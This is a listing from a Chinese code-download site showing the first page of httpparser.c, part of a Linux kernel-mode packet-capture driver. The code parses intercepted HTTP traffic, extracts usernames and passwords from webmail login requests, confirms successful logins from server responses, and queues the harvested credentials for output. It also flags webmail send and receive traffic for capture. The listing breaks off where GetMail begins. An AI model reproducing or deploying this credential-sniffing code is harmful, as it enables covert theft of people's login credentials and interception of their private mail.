⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 httpparser.c

📁 Linux下面截获以态网数据包!是在内核态下面运行的驱动程序
💻 C
📖 第 1 页 / 共 5 页
字号:
#include <linux/module.h> 
#include <linux/config.h> 
#include <linux/init.h> 
#include <linux/netdevice.h> 		/* for dev_base */
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/file.h>
#include <linux/dnotify.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/time.h>
#include <asm/semaphore.h>
#include <asm/unistd.h>
#include <asm/string.h>

#include "createDir.h"
#include "protocol.h"
#include "list.h"
#include "Rule.h"
#include "httpParser.h"
#include "DomainIPHash.h"
#include "RuleIp.h"
#include "function.h"

extern GVAR gVar;
extern TRAFFIC_STAT_INFO 	statInfo;

int HttpParser( void *arg )
{
	PDOUBLE_LIST_PACKET pItem;
	DOUBLE_LIST_HEAD	listHead;
	
	while( !gVar.CtrlThreadCtx.bParserUnload )
	{
		//Get HTTP TCP packet
		if( gVar.pHttpQueque->iNumber == 0 )
		{
			schedule_timeout( 100 * HZ );
			continue;
		}

		_InitializeList( &listHead );
		_RemoveTotalList( gVar.pHttpQueque, &listHead );
		
		pItem = (PDOUBLE_LIST_PACKET)_RemoveTailListNonLock(&listHead);		
		while( pItem )
		{
			//insert the item into smtp hash
			if( !ParserHttpPacket( pItem ))
			{
				//put pItem to the Leisure pool
				PutPacketPool( pItem );
			}
			
			pItem = (PDOUBLE_LIST_PACKET)_RemoveTailListNonLock(&listHead);
		}
	}
	
	return 0;	
}

char ParserHttpPacket(PDOUBLE_LIST_PACKET pItem)
{
//	struct ethhdr	*pEthHdr;      // See ethernet.h
	struct iphdr    *pIPHeader;    // See ip.h
	struct tcphdr	*pTCPHeader;   // See tcp.h
	
//	PSMTP_HASH_HEAD pHashHead;

//	char 	*pUser = NULL;
//	char 	*pEnd = NULL;
	char 	bReturn = false;

	UINT	uiHash;
	
	pIPHeader = (struct iphdr*)(pItem->packet.buf + ETHER_HDR_LEN );
	pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + (pIPHeader->ihl)*4 );
	
	if( IS_FROM_CLIENT( pItem->packet.type ) )
		uiHash = pIPHeader->saddr % _MAX_HTTP_HASH_BUCKET;
	else
		uiHash = pIPHeader->daddr % _MAX_HTTP_HASH_BUCKET;
		

	if( pItem->packet.IPType & IP_TYPE_LOGON )
	{
		GetUserPass( gVar.pHttpHash[uiHash], pItem);
	}

	if( ( pItem->packet.IPType & IP_TYPE_FOUND )
		&& pItem->packet.pConfig->hostNumber < WEB_MAIL_HOST_NUMBER )
	{
		FindBridgeDomain( pItem ) ;
	}
	
	if( pItem->packet.IPType & IP_TYPE_WEBMAIL )
	{
		statInfo.SusHttpMailTotal += pItem->packet.len;
		bReturn = GetMail( pItem ) ;
	}

	return bReturn;
	
}

 void GetUserPass( PDOUBLE_LIST_HEAD pSmtpHashBucket ,PDOUBLE_LIST_PACKET pItem )
{
	struct iphdr	*pIPHeader;    // See ip.h
	struct tcphdr	*pTCPHeader;   // See tcp.h
	UINT			zero;
	UINT			MmLen;
	char 			*pHttp = NULL;
	char 			*pUser = NULL;
	char			*pPassword = NULL;
	char			*pEnd = NULL;
	UCHAR			uChar, ucUserEnd, ucPassEnd;
	char 			*pUserEnd, *pPassEnd;
	UINT			len;
	PSMTP_HASH_HEAD pSmtpHashHead;
	PSMTP_HASH_HEAD pOKHashHead = NULL;
	char			mail[ 128 ];
	
	pIPHeader = (struct iphdr*)(pItem->packet.buf + ETHER_HDR_LEN );
	pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + (pIPHeader->ihl)*4 );
	
	MmLen = sizeof(SMTP_HASH_HEAD);
	down( &pSmtpHashBucket->fastMutex );
	pSmtpHashHead = (PSMTP_HASH_HEAD)pSmtpHashBucket->pHead;
	if( IS_FROM_CLIENT( pItem->packet.type ) )
	{
//		printk("client packet\r\n");

		while( pSmtpHashHead )
		{	
			if( pTCPHeader->source == pSmtpHashHead->sPort 
				&& pIPHeader->saddr == pSmtpHashHead->sIP )
			{
				break;
			}
			
			pSmtpHashHead = (PSMTP_HASH_HEAD)pSmtpHashHead->item.pNext;
		}
		
		if( pSmtpHashHead )
		{
			if( pSmtpHashHead->ruleID == 0 
				&&  pItem->packet.ruleID != 0 )
			{
				pSmtpHashHead->ruleID = pItem->packet.ruleID;
			}

			if( pTCPHeader->fin )
			{
				//该连接结束,输出结果。
				//printk("User, Client: 该连接结束,输出结果。\r\n");
				pOKHashHead = pSmtpHashHead;
				_RemoveItemNonLock( pSmtpHashBucket, &pSmtpHashHead->item);
				up( &pSmtpHashBucket->fastMutex );
				goto OUTPUT;
			}
			else
			{
				up( &pSmtpHashBucket->fastMutex );
				return;
			}
		}
		
		if( pItem->packet.dataLen < 10 )
		{
			up( &pSmtpHashBucket->fastMutex );
			return;
		}
		pHttp = pItem->packet.buf + pItem->packet.dataOffset;
		uChar = *( pHttp + pItem->packet.dataLen );
		*( pHttp + pItem->packet.dataLen ) = '\0';
		pUser = strstr( pHttp, pItem->packet.pConfig->username );
		if( pUser )
		{
			pUser += strlen( pItem->packet.pConfig->username );
			pUserEnd = strstr( pUser, pItem->packet.pConfig->separator );
			if( pUserEnd )
			{
				ucUserEnd = *pUserEnd;
				*pUserEnd = '\0';
				
				//printk( "UserName: %s\r\n", pUser );
				
				pPassword = strstr( pUserEnd+1, pItem->packet.pConfig->password );
				if( pPassword )
				{
					pPassword += strlen(pItem->packet.pConfig->password);
					pPassEnd = strstr( pPassword, pItem->packet.pConfig->separator );
					if( pPassEnd == NULL )
					{
						//可能是空格结束
						pPassEnd = strstr( pPassword, " " );	
					}
					if( pPassEnd )
					{
						ucPassEnd = *pPassEnd;
						*pPassEnd = '\0';
					}
				
					//the hash bucket begin here
					pSmtpHashHead = ALLOCATE_HASHHEAD( GFP_ATOMIC, MmLen );
					if( pSmtpHashHead == NULL )
					{
						printk("Allocate pSmtpHashHead fail\r\n");
						up( &pSmtpHashBucket->fastMutex );
						return;
					}
					
					InitializeSmtpHashHead( pSmtpHashHead );
					pSmtpHashHead->sIP = pIPHeader->saddr;
					pSmtpHashHead->dIP = pIPHeader->daddr;
					pSmtpHashHead->sPort = pTCPHeader->source;
					pSmtpHashHead->timeStamp = gVar.gSysCurTime;
					pSmtpHashHead->timelast = pSmtpHashHead->timeStamp;
					//pConfig
					pSmtpHashHead->pSeq = (PDOUBLE_LIST_ITEM)pItem->packet.pConfig;
					pSmtpHashHead->bPrew = false;
					//pSmtpHashHead->bFileHeader = true;
					//if( ++gVar.iFilePath >= gVar.FilePathNumber )
					//	gVar.iFilePath = 0;
					//pSmtpHashHead->gVar.iFilePath = gVar.iFilePath;
					pSmtpHashHead->timelast = gVar.gSysCurTime;
					_InsertHeadListNonLock( pSmtpHashBucket, &pSmtpHashHead->item );
												
					len = strlen( pUser );
					pSmtpHashHead->iUserLen = len<(_MAX_USER_LEN-1) ? len:(_MAX_USER_LEN-1);
					memcpy( pSmtpHashHead->user, pUser, pSmtpHashHead->iUserLen );
											
					len = strlen( pPassword );
					pSmtpHashHead->iPassLen = len<(_MAX_USER_LEN-1) ? len:(_MAX_USER_LEN-1);
					memcpy( pSmtpHashHead->pass, pPassword, pSmtpHashHead->iPassLen );
					//printk("PassWord: %s\r\n", pPassword );

					//因为有白名单功能,必须再匹配
					//if( pSmtpHashHead->ruleID ==0 
					//	&& pItem->packet.ruleID == 0 )
					{
						memset( mail, 0, 128 );
						sprintf( mail, "%s%s", pSmtpHashHead->user,
							pItem->packet.pConfig->suffix );
						pSmtpHashHead->ruleID = MatchRule( mail, strlen(mail), 
							RULE_PROTOCOL_MAIL, pIPHeader->saddr, false );
						//printk("mail:%s, ruleid:%d\r\n", mail, pSmtpHashHead->ruleID );

					}
					
					if( pPassEnd )
						*pPassEnd = ucPassEnd;
					
				}
				*pUserEnd = ucUserEnd;
				
			}
		}
		
		*(pHttp+pItem->packet.dataLen) = uChar;
	}
	else
	{
		//server packet
//		printk("server packet\r\n");
		while( pSmtpHashHead )
		{	
			if( pTCPHeader->dest == pSmtpHashHead->sPort 
				&& pIPHeader->daddr == pSmtpHashHead->sIP )
				break;
			pSmtpHashHead = (PSMTP_HASH_HEAD)pSmtpHashHead->item.pNext;
		}
			
		if( pSmtpHashHead == NULL )
		{
			up( &pSmtpHashBucket->fastMutex );
			return;
			
		}

		if( pSmtpHashHead->ruleID == 0 
			&&  pItem->packet.ruleID != 0 )
			pSmtpHashHead->ruleID = pItem->packet.ruleID;

			
		if( pTCPHeader->fin )
		{
			//该连接结束,输出结果。
			//printk("User, Server: 该连接结束,输出结果。\r\n");
			pOKHashHead = pSmtpHashHead;
			_RemoveItemNonLock( pSmtpHashBucket, &pSmtpHashHead->item);
			up( &pSmtpHashBucket->fastMutex );
			goto OUTPUT;
		}
		
		if( pItem->packet.dataLen < 10 )
		{
			up( &pSmtpHashBucket->fastMutex );
			return;
		}
				
		pHttp = pItem->packet.buf + pItem->packet.dataOffset;
		uChar = *(pHttp+pItem->packet.dataLen);
		*(pHttp+pItem->packet.dataLen) = '\0';

		pUser = strstr( pHttp, pItem->packet.pConfig->loginflag );
		if( pUser )
		{
			//printk("UserName and PassWord is OK\r\n");
			pSmtpHashHead->bPrew = true;
			pOKHashHead = pSmtpHashHead;
			_RemoveItemNonLock( pSmtpHashBucket, &pSmtpHashHead->item);
		}
		
		*(pHttp+pItem->packet.dataLen) = uChar;		
	}
	
	up( &pSmtpHashBucket->fastMutex );
OUTPUT:	
	if( pOKHashHead )
	{
		//insert into file queque
		_InsertHeadList( gVar.pWebLoginFileQueque, &pOKHashHead->item );
	}		
}

char FindBridgeDomain( PDOUBLE_LIST_PACKET pItem )
{
	UINT i;
	UCHAR 	uChar, uFirst, uEnd;
	char *pHttp = NULL;
	char *pDomain = NULL;
	char *pEnd = NULL;
	char *p=NULL;
	char *pDot = NULL;
	char Domain[WEB_MAIL_HOST_LEN];
	char *pBuf = Domain;
	char bBridgDomain = false;
	PIP_HASH_BUCKET pIPHashBucket;
	struct iphdr           *pIPHeader;    // See ip.h
	struct tcphdr	     *pTCPHeader;   // See tcp.h
	
	if( pItem->packet.dataLen < 10 )
		return bBridgDomain;
	pHttp = pItem->packet.buf + pItem->packet.dataOffset;
	uChar = *(pHttp+pItem->packet.dataLen);
	*(pHttp+pItem->packet.dataLen) = '\0';
	for( i = 0; i < pItem->packet.pConfig->uiLocation; i ++ )
	{
		memset( Domain, 0, WEB_MAIL_HOST_LEN );
		pDomain = strstr( pHttp, pItem->packet.pConfig->location[i] );
		//printk("find domain:%s\r\n", pItem->packet.pConfig->location[i]);
		
		if( pDomain )
		{
			pDomain += strlen( pItem->packet.pConfig->location[ i ] );
			pEnd = kstristr( pDomain, pItem->packet.pConfig->locend[i],WEB_MAIL_HOST_LEN);
			
			if( pEnd )
			{
				uEnd = *pEnd;
				*pEnd = '\0';
				sprintf( pBuf + 1, "%s", pDomain );
				*pEnd = uEnd;
				pDot = pBuf;
				
				//以www.开头的域名不要
				p = kstristr( pBuf+1, "www.", 1);
				if( p )
					break;
				p = strstr( pBuf+1, WEB_MAIL_HOST_SEQ );
				while( p )
				{
					*pDot = (unsigned char)( p - pDot )-1;
					pDot = p;
					p = strstr( p + 1, WEB_MAIL_HOST_SEQ );
				}
				
				*pDot = strlen( pDot ) -1;
				AddDomain( pBuf, IP_TYPE_FOUND, pItem->packet.pConfig, 0 );
				pItem->packet.pConfig->hostNumber++;
				bBridgDomain = true;
				//printk("Add New Domain:%s\r\n", pBuf);
				break;
			}	
		}
	}

	if( !bBridgDomain )
	{
		//find receive or send flag
		if( kstristr( pHttp, pItem->packet.pConfig->rcflag, 5 )
			|| kstristr( pHttp, pItem->packet.pConfig->raflag, 5 )
			|| kstristr( pHttp, pItem->packet.pConfig->scflag, 5 )
			|| kstristr( pHttp, pItem->packet.pConfig->saflag, 5 ))
		{
			pIPHeader = (struct iphdr*)(pItem->packet.buf + ETHER_HDR_LEN );
			pIPHashBucket = FindIP(pIPHeader->saddr);
			if( !pIPHashBucket )
				pIPHashBucket = FindIP(pIPHeader->daddr);
			if( pIPHashBucket )
			{
				pIPHashBucket->type &= ~IP_TYPE_FOUND;
				pIPHashBucket->type |= IP_TYPE_WEBMAIL;
			}
		}		
	}
	
	return bBridgDomain;
}

char GetMail(PDOUBLE_LIST_PACKET pItem)
{

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -